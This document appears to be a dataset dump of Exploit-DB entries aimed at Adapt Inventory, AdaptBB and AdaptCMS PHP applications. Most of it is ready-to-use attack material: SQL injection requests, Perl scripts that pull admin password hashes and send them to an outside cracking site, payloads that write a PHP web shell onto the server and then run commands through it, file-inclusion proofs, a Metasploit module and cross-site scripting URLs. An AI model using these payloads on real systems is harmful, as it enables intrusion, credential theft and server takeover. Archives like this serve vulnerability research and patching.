deardaniel/secdata-raw huggingface dataset:
Exploit-DB #46119
Description: Adapt Inventory Management System 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2019-01-11
Author: Ihsan Sencan

Exploit:
# Exploit Title: Adapt Inventory Management System 1.0 - SQL Injection
# Dork: N/A
# Date: 2019-01-10
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.adaptinventory.com/
# Software Link: https://codecanyon.net/item/adapt-inventory-management-system/22838514
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1) 
# http://localhost/[PATH]/admin/login.php
# 

POST /[PATH]/admin/login.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 280
Cookie: PHPSESSID=e23redq9bp28kar813ggnk4g87
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
username=12'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'&password=%27: undefined
HTTP/1.1 200 OK
Date: Thu, 10 Jan 2019 18:14:53 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json
Transfer-Encoding: chunked

# POC: 
# 2) 
# http://localhost/[PATH]/admin/invoice.php?i=[SQL]
# 

GET /[PATH]/admin/invoice.php?i=-1%27%20UNION%20SELECT%200x30783331,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,(SELECT%20(@x)%20FROM%20(SELECT%20(@x:=0x00),(@NR_DB:=0),(SELECT%20(0)%20FROM%20(INFORMATION_SCHEMA.SCHEMATA)%20WHERE%20(@x)%20IN%20(@x:=CONCAT(@x,LPAD(@NR_DB:=@NR_DB%2b1,2,0x30),0x20203a2020,schema_name,0x3c62723e))))x),0x3131,0x3132,0x3133,0x3134,0x3135,0x3136,0x3137,0x3138,0x3139,0x3230,0x3231,0x3232,0x3233,0x3234,0x3235,0x3236,0x3237--%20- HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=e23redq9bp28kar813ggnk4g87
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Thu, 10 Jan 2019 18:06:12 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Exploit-DB #8851
Description: AdaptBB 1.0 - 'forumspath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-06-01
Author: Mehmet Ince

Exploit:
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-   
=-         AdaptBB 1.0  Remote File Include
=-
=-     Webpage:    http://www.adaptbb.com
=-     Download    http://sourceforge.net/project/downloading.php?group_id=253154&filename=AdaptBB_1.0.zip
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-
=- Author: xoron
=-
=- Oss 14 Haziran!
=-
=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-
=-  Bug Code: in latestposts.php
=-  
=-        in line 20. : include($forumspath."config.php");
=-
=-
=-
=-  /latestposts.php?forumspath=evilc0der?
=-
=-
=-  XOROn (C) 2009
=-
=-
=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

# milw0rm.com [2009-06-01]
Exploit-DB #34562
Description: AdaptBB 1.0 - 'q' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-10-14
Author: drunken danish rednecks

Exploit:
source: https://www.securityfocus.com/bid/42930/info

AdaptBB is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

AdaptBB 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/index.php?do=search&q=PUUUUKE%22%27%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E&x=0&y=0
Exploit-DB #8351
Description: AdaptBB 1.0 - 'topic_id' SQL Injection / Credentials Disclosure
Type: webapps
Platform: php
Date: 2009-04-03
Author: StAkeR

Exploit:
#!/usr/bin/perl -w
#
# AdaptBB 1.0 (topic_id) SQL Injection / Credentials Disclosure Exploit
# 
# Description
# -----------
# AdaptBB contains a flaw that allows an attacker to carry out an SQL 
# injection attack. The issue is due to the inc/bb/topic.php script not 
# properly sanitizing user-supplied input to the 'topic_id' variable. This may 
# allow an attacker to inject or manipulate SQL queries in the backend 
# database if magic_quotes_gpc = off.
# -----------
# by Juri Gianni aka yeat - staker[at]hotmail[dot]it


use strict;
use LWP::Simple;
use IO::Socket;


our ($host,$path,$username) = @ARGV;

if (@ARGV != 3) 
{
       print "\n+-----------------------------------------------------------------------+\n".
             "\r| AdaptBB 1.0 (topic_id) SQL Injection / Credentials Disclosure Exploit |\n".
             "\r+-----------------------------------------------------------------------+\n".
             "\rby yeat - staker[at]hotmail[dot]it\n".
             "\nUsage: perl $0 host /path/ username\n".
             "\nhost: localhost\n".
             "\rpath: /adaptbb/\n".
             "\rusername: target username\n";
       exit;
}  

if ($username =~ /(\w+)/i) {
   print "Victim: $username\n";
   exploit();
}   

sub exploit
{
       my ($packet,$html,$inject,$socket);
       
       $inject = "%27/**/UNION/**/SELECT/**/password,2,3,4,5,6,7,8,9,10/**/".
                 "FROM/**/adaptbb_users/**/WHERE/**/username='$username'%23";
       
       $socket = new IO::Socket::INET(
                                      PeerAddr => $host,
                                      PeerPort => 80,
                                      Proto    => 'tcp',
                                    ) or die $!;
                                        
                                          
      $packet .= "GET $path/index.php?do=topic&topic_id=$inject\r\n";
      $packet .= "Host: $host\r\n";
      $packet .= "User-Agent: Lynx (textmode)\r\n";
      $packet .= "Connection: close\r\n\r\n";
      
      $socket->send($packet);
      
      while (<$socket>) {
         $html .= $_;
      }          
      
      if ($html =~ /Re: ([a-f0-9]{32})"/i) {
         print "Exploit successful\nMD5: $1\n";
         print "Password Cracked: ".search_md5($1)."\n";
      }
      else {
         print "Exploit unsuccesful..\n";
      }      
}      
    

sub search_md5
{
     my $hash = shift @_;
     my $cont = undef;
     
     if ($hash =~ /^([a-f0-9]{32})$/i) {
        return get("http://md5.rednoize.com/?p&s=md5&q=$hash");
     }
     else {
        return 404;
     }      
}   

# milw0rm.com [2009-04-03]
Exploit-DB #8383
Description: adaptbb 1.0b - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-04-09
Author: Salvatore Fresta

Exploit:
*******   Salvatore "drosophila" Fresta   *******

[+] Application: AdaptBB
[+] Version: 1.0 Beta
[+] Website: http://sourceforge.net/projects/adaptbb/

[+] Bugs: [A] Multiple Blind SQL Injection
          [B] Multiple Dynamic Code Execution
          [C] Arbitrary File Upload

[+] Exploitation: Remote
[+] Date: 09 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Multiple Blind SQL Injection

[-] Risk: medium
[-] Requisites: magic_quotes_gpc = off
[-] File affected: almost all of the files are 
vulnerable

This bug allows a guest to execute arbitrary SQL
queries.


- [B] Multiple Dynamic Code Execution

[-] Risk: hight
[-] File affected: almost all of the files are 
vulnerable

This bug allows a guest to execute arbitrary php
code.

...

if ($_GET['box']) {
$folder = $_GET['box'];
}

...

$ddata[] = ucwords($folder);

...

eval (" ?> ".str_replace($cdata, $ddata, stripslashes(template($view."_header")))." <?php ");

...


- [C] Arbitrary File Upload

[-] Risk: hight
[-] File affected: attach.php

This bug allows a registered user to upload 
arbitrary files and to execute them from 
inc/attachments directory. This is possible 
because there are no controls on file extension 
on the server side but only on the client side. 


*************************************************

[+] Code


- [A] Multiple Blind SQL Injection

http://site/path/inc/attach.php?id=-1' UNION ALL SELECT '<?php system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8 INTO OUTFILE '/var/www/htdocs/path/rce.php'%23

http://site/path/index.php?do=profile&user=blabla&box=-1' UNION ALL SELECT '<?php system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8 INTO OUTFILE '/var/www/htdocs/path/rce.php'%23

http://site/path/index.php?do=messages&user=blabla&box=-1' UNION ALL SELECT '<?php system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8 INTO OUTFILE '/var/www/htdocs/path/rce.php'%23

http://site/path/index.php?do=edit_post&id=-1' UNION ALL SELECT '<?php system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8,9 INTO OUTFILE '/var/www/htdocs/path/rce.php'%23

To execute commands:

http://site/path/rce.php?cmd=uname -a


- [B] Multiple Dynamic Code Execution

http://www.site.com/path/index.php?do=profile&user=blabla&box=<?php echo "<pre>"; system('ls'); echo "</pre>"?>

http://www.site.com/path/index.php?do=messages&user=blabla&box=<?php echo "<pre>"; system('ls'); echo "</pre>"?>


*************************************************

[+] Fix

To fix them you must check the input properly.
However is not recommended to store your real 
username and password in the cookies.


*************************************************

# milw0rm.com [2009-04-09]
Exploit-DB #36349
Description: AdaptCMS 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2011-11-24
Author: X-Cisadane

Exploit:
source: https://www.securityfocus.com/bid/50795/info

AdaptCMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

AdaptCMS 2.0.0 and 2.0.1 are vulnerable; other versions may also be affected. 

http://www.example.com/article/'66/Blog/AdaptCMS-20-March-26th
http://www.example.com/article/'75/News/AdaptCMS-200-Released
http://www.example.com/article/'293/Album/Pink-Floyd-Animals
http://www.example.com/article/'294/News/AdaptCMS-202-Update
Exploit-DB #14016
Description: AdaptCMS 2.0.0 Beta - 'init.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-06-24
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
  AdaptCMS 2.0.0 Beta (init.php) Remote File Inclusion Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: June, 24-2010
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: AdaptCMS
Vendor  	: http://www.adaptcms.com/
License		: Free
Download	: http://sourceforge.net/projects/adaptcms/files/
----------------------------------------------------------------

- register_globals = on
- allow_url_include = on

Vuln Code:
~~~~~~~

[-] /init.php

	require_once($sitepath.'inc/smarty/libs/Smarty.class.php');  // line 10

Poc:
~~~~~~~

http://127.0.0.1/[path]/inc/smarty/libs/init.php?sitepath=http://localhost/jovita.txt??

----------------------------------------------------------------

WWW.YOGYACARDERLINK.WEB.ID | v3n0m666[at]live[dot]com

---------------------------[EOF]--------------------------------
Exploit-DB #36167
Description: AdaptCMS 2.0.1 - Cross-Site Scripting / Information Disclosure
Type: webapps
Platform: php
Date: 2011-09-26
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/49769/info

AdaptCMS is prone to multiple cross-site scripting vulnerabilities and an information disclosure vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to obtain potentially sensitive information and to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

AdaptCMS 2.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/AdaptCMS/admin.php?view=[XSS]
http://www.example.com/AdaptCMS/admin.php?view=share&do=[XSS]
http://www.example.com/AdaptCMS//index.php?'[XSS]
http://www.example.com/AdaptCMS/admin.php?view=/&view=settings
http://www.example.com/AdaptCMS/admin.php?view=/&view=users
http://www.example.com/AdaptCMS/admin.php?view=/&view=groups
http://www.example.com/AdaptCMS/admin.php?view=/&view=levels
http://www.example.com/AdaptCMS/admin.php?view=/&view=stats
Exploit-DB #15237
Description: AdaptCMS 2.0.1 Beta - Remote File Inclusion (Metasploit)
Type: webapps
Platform: php
Date: 2010-10-12
Author: v3n0m

Exploit:
##
#      )   )            )                     (   (         (   (    (       )     ) 
#  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
#  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
# ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
#__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
#\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
# \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
#  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
#										.WEB.ID
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::HttpServer::PHPInclude

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'AdaptCMS 2.0.1 Beta Released Remote File Inclusion Exploit',
			'Description'    => %q{
					This module can be used to exploit Remote File Inclusion in AdaptCMS 2.0.1 or earlier in file /inc/smarty/libs/init.php.

			},
			'Author'         => [ 'v3n0m' , 'Yogyacarderlink-Indonesia' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision:$',
			'References'     => 				
				[
					[ 'CVE', '2010-2618' ],
					[ 'BID', '41116' ],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      =>
						{
							'ConnectionType' => 'find',
						},
					'Space'       => 262144, # 256k
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Oct 12 2010',
			'DefaultTarget' => 0))

		register_options([
			OptString.new('PHPURI', [ true , "The URI to request, with the include parameter changed to !URL!", '/inc/smarty/libs/init.php?sitepath=!URL!']),
			], self.class)
	end

	def php_exploit

		timeout = 0.01
		uri = datastore['PHPURI'].gsub('!URL!', Rex::Text.to_hex(php_include_url, "%"))
		print_status("Trying uri #{uri}")

		response = send_request_raw( {
				'global' => true,
				'uri' => uri,
			},timeout)

		if response and response.code != 200
			print_error("Server returned non-200 status code (#{response.code})")
		end
		
		handler
	end

end
Exploit-DB #37433
Description: AdaptCMS 2.0.2 - 'index.php' Script Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-06-19
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/54097/info

AdaptCMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

AdaptCMS 2.0.2 is vulnerable. 

http://www.example.com/adapt/index.php?view=search&q=%3Cmarquee%3E%3Cfont%20color=Blue%20size=15%3Eindoushka%3C/font%3E%3C/marquee%3E
Exploit-DB #37351
Description: AdaptCMS 2.0.2 TinyURL Plugin - 'admin.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2012-06-03
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/53764/info
 
AdaptCMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
AdaptCMS 2.0.2 is vulnerable; other versions may also be affected. 

http://www.example.com/admin.php?view=plugins&do=load&plugin=tinyurl&module=delete&id=[ + SQL Injection Code + ]
Exploit-DB #37350
Description: AdaptCMS 2.0.2 TinyURL Plugin - 'index.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2012-06-03
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/53764/info

AdaptCMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

AdaptCMS 2.0.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?view=plugins&plugin=tinyurl&module=go&id='1337 AND 2=1 UNION SELECT 1,2,3,4,5--
Exploit-DB #24452
Description: AdaptCMS 2.0.4 - 'config.php?question' SQL Injection
Type: webapps
Platform: php
Date: 2013-02-05
Author: kallimero

Exploit:
# Exploit Title: AdaptCMS <= 2.0.4 SQL Injection vulnerability
# Date: 26/10/2012
# Exploit Author: Kallimero
# Vendor Homepage: http://www.adaptcms.com/
# Software Link: http://www.insanevisions.com/page/3/Downloads/
# Version: 2.0.4
# Tested on: Debian

Introduction
============

As you know, I love fun and tricky SQL injections.
AdaptCMS is vulnerable to a really unusual one.


The vuln
========


First let's see the code :

---------------[config.php]---------------

Line 34 :
array_map('clean', $_POST);

---------------[config.php]---------------

clean() acts like addslashes.

But a couple of lines after:

---------------[config.php]---------------
ligne 111:

    mysql_query("INSERT INTO ".$pre."polls VALUES (null,
'".htmlentities(check($vote[2]))."', '".$vote2."', 'custom_option', '',
'".htmlentities(urldecode($_POST['question']))."', 1, '".time()."')");
---------------[config.php]---------------

w00t an SQL injection. $_POST['question'] is urldecoded after the
superglobal's clean. That's why we can easily inject our SQL request.
(Without ENT_QUOTES, the simple quote pass through htmlentities() ).


The PoC :
=========

Ok, now we have to add a second INSERT query, to insert a custom choice in
the poll, which obviously contain the admin creditentials.
A simple POST http request such as:
article_id=0&poll_id=1&vote=2&custom=1&question=%2527, 1,[PII_REDACTED]),
(null, 0, (select concat(username, 0x3a, password) from adapt_users),
'option', '', 1, 1337,[PII_REDACTED]  )-- -

Now check homepage, and enjoy the admin creditentials.

How to Fix ?
============

There is many SQL injections in this CMS ($_SERVER vars are vulnerables as
well), and others funkies vulnz.
changing your cms seems appropriate until they fix thoses issues.

Thanks
=========

All hwc members : Necromoine, fr0g, AppleSt0rm, St0rn, Zhyar, k3nz0,
gr4ph0s.
Please visit : http://www.orgasm.re/
Exploit-DB #6662
Description: AdaptCMS Lite 1.3 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-10-03
Author: StAkeR

Exploit:
#!/usr/bin/perl
# -----------------------------------------------------
# AdaptCMS Lite <= 1.3 Blind SQL Injection Exploit
# Discovered By StAkeR - StAkeR[at]hotmail[dot]it
# Discovered On 03/10/2008
# -----------------------------------------------------
# Download http://www.insanevisions.com/page/downloads
# -----------------------------------------------------
use strict;
use LWP::UserAgent;

my ($hash,$send,$sub) = (undef,undef,1);
my ($host,$uid) = @ARGV;

usage() unless $host =~ /^http:\/\/(.+?)$/i and $uid =~ /^[0-9]$/;

sub send_request
{
  my $param = shift @_;
  my $http = new LWP::UserAgent;
  my $post = $http->post($host.'/includes/check_user.php',[ user_name => $param ]);
  
  if($post->is_success)
  {
    return 38 unless $post->content =~ /yes/i;
  }
}

my @chars = (48..57, 97..102); 

for(0..32)
{
  foreach my $set(@chars)
  {
    $send = "' or ascii(substring((select password".
            " from adaptcms_users where id=$uid),$sub,1))=$set#";

    if(send_request($send) > 1)
    {
      $hash .= chr($set);
      $sub++;
      last;
    }
  }
}

sub usage
{
  print "[?] AdaptCMS Lite <= 1.3 Blind SQL Injection Exploit\n";
  print "[?] Usage: perl $0 http://[host] [user id]\n";
  exit;
}

if(defined $hash)
{
  print "[?] Hash: $hash\n";
  exit;
}
else
{
  print "[?] Exploit Failed!\n";
  exit;
}

# milw0rm.com [2008-10-03]